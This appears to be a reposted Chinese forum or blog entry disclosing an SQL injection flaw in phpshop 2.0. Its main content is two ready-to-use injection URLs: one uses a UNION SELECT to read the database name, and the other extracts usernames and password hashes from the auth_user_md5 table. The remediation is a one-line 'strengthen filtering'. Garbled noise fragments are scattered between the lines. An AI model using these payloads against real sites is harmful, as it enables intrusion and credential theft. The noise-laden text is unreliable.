phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

; h7 S* T+ ^+ s. v) |作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
1 K* Z* _# O# o; `7 A+ \3 w测试地址: windows 7 / ubuntu
% n4 Y0 ~; ~  b/ @- ]6 O) m! N8 k
3 L& B7 c8 A2 M
SQLi p0c:
5 p4 s* D, T5 N+ O$ ^( D2 P& n  W5 H8 ~
2 n' G' b; \$ S==================

http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
. t+ r/ L7 z. ~) h6 ~
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

修复：
加强过滤
​

  j" z5 H3 h5 y